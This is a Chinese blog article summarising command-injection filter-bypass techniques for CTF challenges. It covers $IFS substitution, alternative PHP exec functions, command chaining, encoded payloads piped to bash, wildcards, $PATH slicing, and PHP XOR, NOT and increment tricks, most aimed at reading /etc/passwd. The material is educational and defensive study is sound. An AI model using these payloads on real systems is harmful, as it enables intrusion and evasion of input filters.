当前位置: 首页 > news >正文

【CTF】Linux Shell RCE绕过(bypass)技术总结

在Linux环境下,远程代码执行(RCE,Remote Code Execution)是一种常见的攻击手段。然而,许多系统会对命令注入进行过滤或限制,例如禁止特定关键字(如system)、斜杠(/)或空格等。为了绕过这些限制,攻击者开发了多种技术,利用Shell特性、编码方式和系统漏洞实现命令执行。本文将系统性地总结Linux Shell RCE的绕过方法。


一、空格绕过

原理

在Bash中,命令和参数之间通常需要用空格分隔。然而,当空格被过滤时,可以利用Bash的变量、特殊字符或编码来替代空格,从而绕过限制。这些替代方法本质上是利用了Shell的解析机制,将非空格字符转换为等效的分隔符。

方法与语法

  1. 使用$IFS(Internal Field Separator)

    • $IFS是Bash的内置变量,默认值为空格、制表符和换行符。可以用它替代空格。
    • 示例:cat$IFS/etc/passwd 等价于 cat /etc/passwd
    • 变种:
      • ${IFS}:显式调用变量。
      • $IFS$9:结合位置参数$9(通常为空),增加混淆性。
  2. 使用制表符或URL编码

    • %09(Tab键的URL编码)和%20(空格的URL编码)在某些场景下可被解析为分隔符。
    • 示例:cat%09/etc/passwd
  3. 使用重定向符号

    • <><> 可以用来构造命令,避免直接使用空格。
    • 示例:cat</etc/passwd
  4. 使用大括号分隔

    • {} 是一种参数扩展语法,可以将命令和参数分隔开。
    • 示例:{cat,/etc/passwd},Bash会将其解析为cat /etc/passwd
  5. 使用注释符号(类似SQL注入)

    • 在某些WAF或过滤规则中,/**/可以用作分隔符。
    • 示例:cat/**//etc/passwd

应用场景

空格绕过适用于Web应用或Shell脚本中对空格进行严格过滤的场景。例如,当输入被限制为单一字符串时,上述方法可以有效规避限制。


二、命令执行函数绕过

原理

在PHP等语言中,system() 是常见的命令执行函数。如果system()被过滤,可以使用其他等效函数或操作符(如反引号)绕过。这些函数在底层调用系统Shell,功能类似。

方法与语法

  1. 替代函数

    • passthru():执行命令并输出结果。
    • exec():执行命令并返回最后一行输出。
    • shell_exec():执行命令并返回完整输出。
    • popen():打开进程文件指针。
    • proc_open():更灵活的进程控制函数。
    • pcntl_exec():直接执行程序,适用于无Shell环境。
    • 示例:passthru("whoami")shell_exec("cat /etc/passwd")
  2. 反引号(``)

    • 在PHP中,反引号等价于shell_exec()
    • 示例:`whoami`

应用场景

当Web应用禁用system()但未完全过滤其他命令执行函数时,这种方法非常有效。攻击者只需测试可用函数即可绕过。


三、命令连接符绕过

原理

命令连接符用于组合多个命令,改变执行逻辑。不同的连接符在成功或失败条件下的行为不同,可用于绕过过滤或构造复杂命令。

方法与语法

  1. 通用连接符(Windows和Linux均支持)

    • |:管道符,仅执行右侧命令的结果。
      • 示例:whoami | cat /etc/passwd
    • ||:逻辑或,前命令失败时执行后命令。
      • 示例:false || whoami
    • &:后台执行,前后命令均执行。
      • 示例:whoami & ls
    • &&:逻辑与,前命令成功时执行后命令。
      • 示例:true && whoami
  2. Linux特有连接符

    • ;:顺序执行,前后命令依次运行。
      • 示例:whoami;cat /etc/passwd

应用场景

当系统限制单一命令输入时,连接符可用于拼接多条命令,绕过长度或内容限制。


四、严格过滤下的绕过

原理

当题目使用正则匹配某些字符时,常见的绕过手法时利用变量赋值、编码或拼接,将被过滤的关键字拆分为无害片段,最终在执行时还原为完整命令。

方法与语法

  1. 变量赋值

    • 将命令拆分为变量,动态拼接。
    • 示例:
      a=c; b=a; c=t;
      $a$b$c /etc/passwd  # 等价于 cat /etc/passwd
      
  2. Base64编码

    • 将命令编码为Base64,解码后执行。
    • 示例:
      echo 'cat /etc/passwd' | base64  # 输出:Y2F0IC9ldGMvcGFzc3dk
      echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash
      
  3. 十六进制(Hex)编码

    • 将命令转为Hex,解码后执行。
    • 示例:
      echo "636174202f6574632f706173737764" | xxd -r -p | bash  # cat /etc/passwd
      
  4. 八进制(Octal)编码

    • 使用八进制表示字符。
    • 示例:
      $(printf "\143\141\164\040\057\145\164\143\057\160\141\163\163\167\144")  # cat /etc/passwd
      
  5. 字符串拼接

    • 将命令拆分为子字符串,用点号或引号拼接。
    • 示例:
      c''a''t /etc/passwd  # 单引号拼接
      c""a""t /etc/passwd  # 双引号拼接
      c``a``t /etc/passwd  # 反引号拼接
      c\a\t /etc/passwd    # 反斜杠拼接
      
  6. 特殊变量

    • $*$@$1-$9${x}(x>=10)在无参数时为空,可用于混淆。
    • 示例:
      wh$1oami    # whoami
      who$@ami    # whoami
      ca${21}t a.txt  # cat a.txt
      
  7. 插入注释

    • 在命令中插入注释,绕过WAF规则。
    • 示例:
      system/*test*/("whoami")
      

应用场景

正则匹配绕过适用于关键字过滤严格的场景,例如WAF或IDS检测。


五、通配符绕过

原理

Bash支持通配符(如*?)和Glob模式,用于匹配文件名或路径。当路径或命令被过滤时,通配符可模糊匹配目标。

方法与语法

  1. 基本通配符

    • ?:匹配单个字符。
    • *:匹配任意字符。
    • 示例:??? /e??/?a???? 匹配 cat /etc/passwd
  2. Glob模式

    • [a-z]:匹配范围内的字符。
    • {a,b,c}:匹配指定模式。
    • 示例:
      cat t[a-z]st    # 匹配类似 test 的文件
      cat t{a,b,c}st  # 匹配 tast、tbst、tcst
      

应用场景

当路径被部分过滤时,通配符可用于模糊匹配敏感文件。


六、利用PATH变量绕过

原理

$PATH 是环境变量,包含系统命令的搜索路径。通过截取和拼接$PATH中的字符,可以构造命令。

方法与语法

  • 示例:
    ${PATH:5:1}  # 输出 l
    ${PATH:2:1}  # 输出 s
    ${PATH:5:1}${PATH:2:1}  # 输出 ls
    

应用场景

当命令本身被禁用时,利用$PATH拼接是一种隐蔽的绕过方式。


七、自增绕过

原理

在PHP中,字符串可以自增(如'a'++变为'b')。通过构造初始字符并自增,可以生成任意字母。

方法与语法

  • 示例:
    $_ = "Array";
    $_ = $_[0];  # A
    $__ = $_;
    $__++;  # B
    # 依次自增拼接出所需命令
    

应用场景

适用于字符输入受限的PHP环境。


八、异或与取反绕过

原理

通过异或(^)或取反(~)运算,将命令转为不可读形式,绕过过滤。

方法与语法

  1. 异或

    • 示例:
      ('GGGGGGG'^'7/7.)!(')();  # phpinfo()
      
  2. 取反

    • 示例:
      echo urlencode(~'phpinfo');  # %8F%97%8F%96%91%99%90
      (~'%8F%97%8F%96%91%99%90')();
      

应用场景

当字母和数字被过滤时,异或和取反可生成不可打印字符,绕过检测。


总结

Linux Shell RCE绕过技术多种多样,从空格替代到编码转换,再到通配符和变量操作,每种方法都利用了Shell或语言的特性。攻击者需根据具体过滤规则灵活组合这些技术,而防御者则应加强输入验证和命令执行控制。本文提供的方法仅为技术探讨,切勿用于非法用途。

相关文章:

【CTF】Linux Shell RCE绕过(bypass)技术总结

在Linux环境下&#xff0c;远程代码执行&#xff08;RCE&#xff0c;Remote Code Execution&#xff09;是一种常见的攻击手段。然而&#xff0c;许多系统会对命令注入进行过滤或限制&#xff0c;例如禁止特定关键字&#xff08;如system&#xff09;、斜杠&#xff08;/&#…...

深入理解 Linux 权限控制机制

引言 在 Linux 系统中&#xff0c;权限控制是保障系统安全的核心机制。通过限制用户对文件和资源的访问&#xff0c;它能有效防止未授权操作&#xff0c;保护数据不被篡改或泄露。合理设置权限不仅有助于实现用户隔离和最小权限原则&#xff0c;还能降低系统被滥用或攻击的风险…...

技术书籍推荐(002)

20. 利用Python进行数据分析 免费 电子书 PDF 下载 书籍简介&#xff1a; 本书聚焦于使用Python进行数据处理和分析。详细介绍了Python中用于数据分析的重要库&#xff0c;如NumPy&#xff08;提供高效的数值计算功能&#xff0c;包括数组操作、数学函数等&#xff09;、panda…...

[SAP] SAP ERP用户参数设置

菜单路径 个人默认值的设置(数值&#xff0c;日期&#xff0c;时间) 个人参数值的设置 在给参数设置参数值后&#xff0c;当用户登录到对应功能页面时&#xff0c;这些参数值就会自动带出来 例如&#xff0c;我们分别对上述AAT&#xff0c;VKO以及VTW这3个参数设置了参数值&am…...

Python中,async和with结合使用,有什么好处?

在Python的异步编程中&#xff0c;async和with的结合使用&#xff08;即async with&#xff09;为开发者提供了一种优雅且高效的资源管理模式。这种组合不仅简化了异步代码的编写&#xff0c;还显著提升了程序的健壮性和可维护性。以下是其核心优势及典型应用场景的分析&#x…...

【信息系统项目管理师】第3章:信息系统治理 - 29个经典题目及详解

更多内容请见: 备考信息系统项目管理师-专栏介绍和目录 文章目录 【第1题】【第2题】【第3题】【第4题】【第5题】【第6题】【第7题】【第8题】【第9题】【第10题】【第11题】【第12题】【第13题】【第14题】【第15题】【第16题】【第17题】【第18题】【第19题】【第20题】【第…...

python实战项目69:基于Python爬虫的链家二手房数据采集方法研究

python实战项目69:链家二手房数据采集 一、项目需求1.1 房地产数据价值1.2 传统数据获取局限性1.3 技术可行性二、数据采集流程2.1 需求分析2.2 网页结构分析2.3 请求发送与反爬策略2.4 数据解析2.5 数据存储三、结论与展望四、完整代码一、项目需求 本文针对房地产数据分析需…...

PowerShell 脚本中文乱码处理

问题描述 脚本带中文&#xff0c;执行时命令行窗口会显示出乱码 示例 Write-Host "测试成功&#xff01;"解决方法 问了DeepSeek&#xff0c;让确认是不是 UTF8 无 BOM 格式 事实证明方向对了 但是确认信息有偏差 改成 UTF8 with BOM 使用任意支持修改编码的文本…...

SpEL(Spring Expression Language)使用详解

SpEL&#xff08;Spring Expression Language&#xff09;是 Spring 框架中一种强大的表达式语言&#xff0c;支持在运行时动态查询和操作对象图。它与 Spring 生态深度集成&#xff0c;广泛应用于依赖注入、数据绑定、AOP、安全规则等场景。以下是其核心语法、应用场景及使用示…...

论文阅读与写作:《从探索到突破:解密科研和论文写作的思维密码》

文章目录 一、如何做科研1.科研的步骤2.课题选择3.快速入门一个新领域&#xff1a;读论文&#xff0c;先读综述(1)自己看论文的时候&#xff0c;每篇论文花3-5分钟记录一下自己的idea和一些瞬间的想法(2)高质量文献&#xff1a;顶会顶刊(3)如何检索 4.注重团队协作与学术交流5.…...

免费公共DNS服务器推荐

当自动获取的DNS或本地运营商的DNS出现问题&#xff0c;可能导致软件无法连接服务器。此时&#xff0c;手动修改电脑的DNS设置或许能解决问题。许多用户觉得电脑上网速度慢、游戏卡顿&#xff0c;归咎于DNS问题。确实&#xff0c;我们可以自行设置一个DNS来改善网络体验。不少用…...

CK-S650-PA60S半导体专用读写器|读写头与绿联RS232串口转接头联机测试说明

CK-S650-PA60S半导体专用读写器|读写头是一款国产替代欧姆龙V640系列&#xff0c;支持德州仪器公司(TI)制造的RI-TRP-DR2B、RI-TRP-WR2B-40低频玻璃管标签|射频标签读写&#xff0c;广泛应用半导体硅片盒、晶圆盒、花篮等RFID插件识别与产品追溯领域。 CK-S650-PA60S半导体专用…...

Babel 基础使用指南:从安装到编译的完整流程

Babel 是当今前端开发中不可或缺的工具&#xff0c;它允许开发者使用最新的 JavaScript 特性&#xff0c;同时确保代码能在各种浏览器和环境中运行。本文将带你从零开始学习 Babel 的基础使用&#xff0c;涵盖安装、配置到实际编译的全过程。 1. 安装 Babel 和插件 首先&…...

uniapp-商城-52-后台 商家信息(商家信息数据,云对象使用)

1、概述 已经通过好几个篇幅来说明商家信息&#xff0c;包括logo、商家名称&#xff0c;地址&#xff0c;电话以及商家简介。通过表单组件和标签&#xff0c;以及我们的文件上传标签&#xff0c;都做了说明。&#xff08;logo上传&#xff0c;用的文件上传组件是上传到公共的数…...

【我的创作纪念日】512

机缘 还记得 2023 年 12 月 15 日&#xff0c;我撰写了第 1 篇技术博客&#xff1a;《oracle 跟踪文件--审计日志》。从此&#xff0c;这平凡的一天&#xff0c;赋予了我不平凡的意义。在那一刻&#xff0c;我已在创作这趟旅程中出发&#xff0c;并立志将工作中的经验总结&…...

共享内存与信号量结合

在Linux系统中&#xff0c;进程间通信&#xff08;IPC&#xff09;和原子性是并发编程中的核心问题。以下是对这些概念的详细分步解释&#xff1a; 一、进程间通信&#xff08;IPC&#xff09;方法 1. 管道&#xff08;Pipe&#xff09; 匿名管道&#xff1a;用于父子进程等有…...

西门子PLC s7-1200工艺对象“轴”的应用(1)

1. 工艺对象 “ 轴 ” 的概念 在西门子 S7-1200 PLC 中&#xff0c;术语 “ 轴 ” 特指用 “ 轴 ” 工艺对象表示的驱动器工艺映像。 “ 轴 ” 工艺对象是用 户程序与驱动器之间的接口&#xff0c;用于接收用户程序中的运动控制命令、执行这些命令并监视其运行情况。 运动控制…...

ubuntu22.04在 Docker容器中安装 ROS2-Humble

22.04 安装 docker 容器并实现rviz功能 1 docker pull命令拉取包含ROS-Humble的镜像&#xff1a; docker pull osrf/ros:humble-desktop-full-jammy docker images验证该镜像是否拉取成功。 使用镜像osrf/ros:humble-desktop-full-jammy创建并运行容器 sudo docker run -it…...

【LwIP源码学习6】UDP部分源码分析

前言 本文对lwip协议栈里UDP部分的源码进行分析。将源码中最关键部分提取出来&#xff0c;梳理UDP部分的设计框架。 应用层例子 首先举一个应用层使用UDP的简单例子&#xff0c;如下&#xff1a; //第一步&#xff1a;申请套接字 sock socket(AF_INET, SOCK_DGRAM, 0); //…...

Python Cookbook-7.10 在 MySQL 数据库中储存 BLOB

任务 想把一个二进制的大对象(BLOB)存入MySQL数据库 解决方案 MySQLdb 模块并不支持完整的占位符,不过可以使用模块的escape_string 函数来解决: import MySQLdb,cPickle #连接到数据库,用你的本机来测试数据库,并获得游标 connection = MySQLdb.connect(db = "tes…...

LWIP的ICMP协议

ICMP协议简介 ICMP协议是一个网络层协议 背景&#xff1a;如果丢包了&#xff0c;IP协议并不能通知传输层是否丢包以及丢包的原因。因此我们需要ICMP协议来完成这样的功能 为什么需要ICMP协议 1&#xff0c;IP 协议本身不提供差错报告和差错控制机制来保证数据报递交的有效…...

Spring Web MVC响应

返回静态页面 第一步 创建html时&#xff0c;要注意创建的路径&#xff0c;要在static下面 第二步 把需要写的内容写到body内 第三步 直接访问路径就可以 返回数据ResponseBody RestController Controller ResponseBody Controller&#xff1a;返回视图 ResponseBody&…...

STM32智能窗帘系统:从零到一的开发实战

简介 智能窗帘控制系统是智能家居领域的经典应用,随着物联网技术的不断发展,其功能从简单的远程控制演变为具备环境感知、多设备联动和跨平台兼容的智能系统。本篇文章将全面解析基于STM32的智能窗帘系统开发方案,从硬件设计到软件实现,再到企业级扩展功能,提供完整的代码…...

第三方评测机构如何凭借专业公正提供高可靠性软件检测服务?

第三方评测机构与软件开发及使用单位保持独立&#xff0c;凭借其专业技能和公正立场&#xff0c;为企业提供多样化的软件检测服务。这些检测结果的可靠性极高&#xff0c;不仅有助于企业减轻负担&#xff0c;节省人力和物力资源&#xff0c;而且赢得了业界的普遍认可。下面&…...

相或为K(位运算)蓝桥杯(JAVA)

这个题是相或为k&#xff0c;考察相或的性质&#xff0c;用俩个数举例子&#xff0c;011001和011101后面的数不管和哪个数相或都不可能变成前面的数&#xff0c;所以利用这个性质我们可以用相与运算来把和k对应位置的1都积累起来&#xff0c;看最后能不能拼起来k如果能拼起来k那…...

X.509证书详解

文章目录 1. X.509证书基础1.1 什么是X.509证书1.2 X.509证书结构1.3 证书编码格式2. Java中的X509Certificate2.1 类层次结构2.2 核心方法3. 获取X509Certificate对象3.1 从文件加载证书3.2 从KeyStore获取证书3.3 从HTTPS连接获取证书4. 创建自签名证书5. 证书验证5.1 基本验…...

深入浅出:Spring Boot 中 RestTemplate 的完整使用指南

在分布式系统开发中&#xff0c;服务间通信是常见需求。作为 Spring 框架的重要组件&#xff0c;RestTemplate 为开发者提供了简洁优雅的 HTTP 客户端解决方案。本文将从零开始讲解 RestTemplate 的核心用法&#xff0c;并附赠真实地图 API 对接案例。 一、环境准备 在 Spring…...

C++23 views::repeat (P2474R2) 写一篇博客

文章目录 std::views::enumerate 简介使用示例性能和灵活性与其他视图的结合使用总结 C23 标准引入了众多令人期待的新特性&#xff0c;其中 std::views::enumerate 便是一个备受瞩目的新增视图。这个新特性通过为迭代器提供索引和元素的组合&#xff0c;极大地简化了对集合中…...

微软向现实低头:悄悄延长Windows 10的Microsoft 365支持

快科技5月11日消息&#xff0c;Windows 10将在今年10月14日正式结束支持&#xff0c;此前微软曾明确表示&#xff0c;Microsoft 365&#xff08;M365&#xff09;应用&#xff0c;如Outlook、Teams、OneDrive、Word、Excel等&#xff0c;也将随之停止支持。 不过无法升级至Win…...

数字化转型-4A架构之技术架构

4A架构系列文章 数字化转型-4A架构&#xff08;业务架构、应用架构、数据架构、技术架构&#xff09; 数字化转型-4A架构之业务架构 数字化转型-4A架构之应用架构 数字化转型-4A架构之数据架构 数字化转型-4A架构之技术架构 一、 技术架构 Technology Architecture 1. 技…...

生产级 Flink CDC 应用开发与部署:MySQL 到 Kafka 同步示例

生产级 Flink CDC 应用开发与部署:MySQL 到 Kafka 同步示例 为了帮助你更好地理解如何将 Flink 作业部署为独立服务,下面我将提供一个完整的工程代码示例。这个例子基于之前的 MySQL 到 Kafka 的数据同步需求,但这次我们将 Flink 作业作为一个独立的服务进行打包和部署。 …...

【计算机视觉】OpenCV实战项目:Text-Extraction-Table-Image:基于OpenCV与OCR的表格图像文本提取系统深度解析

Text-Extraction-Table-Image&#xff1a;基于OpenCV与OCR的表格图像文本提取系统深度解析 1. 项目概述2. 技术原理与算法设计2.1 图像预处理流水线2.2 表格结构检测算法2.3 OCR优化策略 3. 实战部署指南3.1 环境配置3.2 核心代码解析3.3 执行流程示例 4. 常见问题与解决方案4.…...

TSN网络与DIOS融合:破解煤矿井下电力系统越级跳闸难题

一、引言 1.1 研究背景与意义 在现代煤矿生产中&#xff0c;井下电力系统作为整个煤矿生产的动力核心&#xff0c;其重要性不言而喻。煤矿井下的各类机械设备&#xff0c;如采煤机、刮板输送机、通风机、排水泵等&#xff0c;都依赖稳定的电力供应才能正常运行。电力系统的稳定…...

ALLinSSL:一站式SSL证书管理解决方案

引言 在当今互联网安全日益重要的背景下,SSL证书已成为保护网站安全的必备工具。然而,管理多个SSL证书常常是一项繁琐且容易出错的任务。ALLinSSL应运而生,它提供了一个一站式的SSL证书管理解决方案,大大简化了证书的申请、安装和更新过程。本文将深入介绍ALLinSSL的特性、…...

jsAPI

环境准备 1 安装nvm nvm 即 (node version manager)&#xff0c;好处是方便切换 node.js 版本 安装注意事项 要卸载掉现有的 nodejs提示选择 nvm 和 nodejs 目录时&#xff0c;一定要避免目录中出现空格选用【以管理员身份运行】cmd 程序来执行 nvm 命令首次运行前设置好国…...

三、c语言练习四题

在这个系列中&#xff0c;我将以每次五题的形式加强对C语言的理解 1、 矩阵转置 要求 输入&#xff1a; 2 3 1 2 3 4 5 6输出&#xff1a; 1 4 2 5 3 6 //矩阵转置&#xff08;复习&#xff09; int main() {int i 0;int j 0;int arr[10][10];/*提前定义好一个大容量数…...

MySql(进阶)

一.数据库约束 约束类型 NOT NULL - 指示某列不能存储 NULL 值。 (not null不能为NILL) UNIQUE - 保证某列的每行必须有唯一的值。 &#xff08;unique唯一值&#xff09; DEFAULT - 规定没有给列赋值时的默认值。 &#xff08;default为空给定默认值&#xff09; PRIMARY…...

数据结构练习:顺序表题目

今天我们来进行顺序表后面习题的练习 目录 移除数组 思路1&#xff1a;查找后进行删除 思路2&#xff1a;新数组交换&#xff1a; 思路3&#xff1a;双指针法&#xff1a; 删除重复项 合并两个有序数组 移除数组 它的示例如下&#xff1a; 思路1&#xff1a;查找后进行删除…...

Ubuntu 22虚拟机【网络故障】快速解决指南

Ubuntu22虚拟机突然无法连接网络了&#xff0c;以下是故障排除步骤记录。 Ubuntu 22虚拟机网络故障快速解决指南 当在虚拟机中安装的 Ubuntu 22 系统出现 ping: connect: 网络不可达 和 ping: www.baidu.com: 域名解析出现暂时性错误的报错时&#xff0c;通常意味着虚拟机无法…...

SwaggerLogger.java

package further.config;import org.springframework.beans.factory.annotation.Value; import org.springframework.boot.CommandLineRunner; import org.springframework.context.annotation.Configuration; import org.springframework.util.StringUtils;/*** swagger启动ap…...

基于SpringBoot的在线教育管理系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏&#xff1a;…...

企业内训|智能调控系统算法与优化——某汽车厂商

5月9日&#xff0c;东北某市&#xff0c;TsingtaoAI团队为某汽车厂商的智能驾驶业务和研发团队交付“智能调控系统算法与优化”课程。 本课程系统化解析智能调控系统的核心算法原理与前沿优化技术&#xff0c;深度融合经典控制、现代控制及模型预测控制&#xff08;MPC&#x…...

Web 实时通信技术:WebSocket 与 Server-Sent Events (SSE) 深入解析

一、WebSocket&#xff1a; &#xff08;一&#xff09;WebSocket 是什么&#xff1f; WebSocket 是一种网络通信协议&#xff0c;它提供了一种在单个 TCP 连接上进行全双工通信的方式。与传统的 HTTP 请求 - 响应模型不同&#xff0c;WebSocket 允许服务器和客户端在连接建立…...

一个网球新手的学习心得

一个网球新手的学习心得 握拍正手反手发球 网球新手学习的几个重要点就是握拍、正手、反手&#xff0c;还有发球。 握拍 不管是发球还是拉球&#xff0c;首先要注意握拍的方式。 正手的话&#xff0c;一般是右手握住球拍柄&#xff0c;掌心对着球拍柄宽的一面&#xff0c;食…...

12、电子电路设计与PCB布局组件 (概念) - /设计与仿真组件/pcb-layout-tool

76个工业组件库示例汇总 电子电路设计与 PCB 布局组件 (概念演示) 概述 这是一个交互式的 Web 组件&#xff0c;用于演示电子电路原理图设计和 PCB 布局的基本概念。用户可以从元件库中选择元件&#xff0c;在原理图和 PCB 画布上放置、移动&#xff0c;进行原理图连线&…...

[特殊字符] 免税商品优选购物商城系统 | Java + SpringBoot + Vue | 前后端分离实战项目分享

一、项目简介 本项目为一款功能完备的 免税商品优选购物商城系统&#xff0c;采用 Java 后端 Vue 前端的主流前后端分离架构&#xff0c;支持用户、商家、管理员三类角色&#xff0c;满足商品浏览、下单、商家管理、后台运营等多项功能&#xff0c;适用于实际部署或作为毕业设…...

小土堆pytorch--torchvision中的数据集的使用dataloader的使用

torchvision中的数据集的使用&dataloader的使用 一级目录二级目录三级目录 1 torchvision 中的数据集的使用1.1 对与CIFAR - 10数据集的介绍1.2 数据集加载代码1.3 使用transform加载代码 2 DataLoader的使用2.1 DataLoader的作用1. 数据读取2. 数据预处理3. 批量处理4. 并…...

【RabbitMQ】 RabbitMQ高级特性(一)

文章目录 一、消息确认1.1、消息确认机制1.2、手动确认方法1.2.1、AcknowledgeMode.NONE1.2.2、AcknowledgeMode.AUTO1.3.3、AcknowledgeMode.MANUAL 二、持久性2.1、 交换机持久化2.2、队列持久化2.3、消息持久化 三、发送方确认3.1、confirm确认模式3.2、return退回模式3.3、…...

优化理赔数据同步机制:从4小时延迟降至15分钟

优化理赔数据同步机制&#xff1a;从4小时延迟降至15分钟 1. 分析当前同步瓶颈 首先诊断当前同步延迟原因&#xff1a; -- 检查主从复制状态&#xff08;在主库执行&#xff09; SHOW MASTER STATUS; SHOW SLAVE HOSTS;-- 在从库执行检查复制延迟 SHOW SLAVE STATUS\G -- 关…...

lampiao靶场渗透

lampiao https://www.vulnhub.com/entry/lampiao-1,249/ 1&#xff0c;将两台虚拟机网络连接都改为NAT模式 2&#xff0c;攻击机上做namp局域网扫描发现靶机 nmap -sn 192.168.23.0/24 那么攻击机IP为192.168.23.182&#xff0c;靶场IP192.168.23.245 3&#xff0c;对靶机进行端…...